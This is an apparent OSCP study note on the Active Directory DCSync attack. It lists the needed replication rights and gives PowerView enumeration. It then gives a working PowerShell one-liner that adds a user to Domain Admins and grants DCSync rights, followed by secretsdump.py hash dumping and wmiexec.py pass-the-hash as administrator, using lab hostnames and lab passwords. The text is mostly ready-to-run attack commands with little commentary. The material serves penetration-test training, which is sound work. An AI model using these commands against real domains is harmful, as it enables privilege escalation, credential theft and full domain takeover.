oscp/Windows/Active Directory for OSCP/Permission Move/DC Sync.md

Port 49667, 445, 135 is used for DC Sync attack

Enumeration (PowerView)

Permission needed for DCSync

1. Replicating Directory Changes (DS-Replication-Get-Changes)

2. Replicating Directory Changes All (DS-Replication-Get-Changes-All)

3. Replicating Directory Changes In Filtered Set (DS-Replication-Get-Changes-In-Filtered-Set) (this one isn’t always needed but we can add it just in case)

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -eq 'leon'} One-Liner that will transfer our owned user to “Exchange Windows Permissions” and we become part of the DCSync and WriteDacl permissions and then fetch hash with secretsdump.py Reference: HTB: Forest | 0xdf hacks stuff

# Toss up PowerView before running the One-Liner that will give us the DCSync rights.
Add-DomainGroupMember -Identity 'Domain Admins' -Members wario; $username = "medtech.com\\wario"; $password = "Mushroom!"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'wario' -TargetIdentity 'medtech.com\\Domain Admins' -Rights DCSync

# Check if user got added to the group with GenericAll Permission
net group "Exchange Windows Permissions"
secretsdump.py svc-alfresco:s3rvice@<ip>
# Passing the hash
wmiexec.py -hashes <hash> htb.local/administrator@<ip>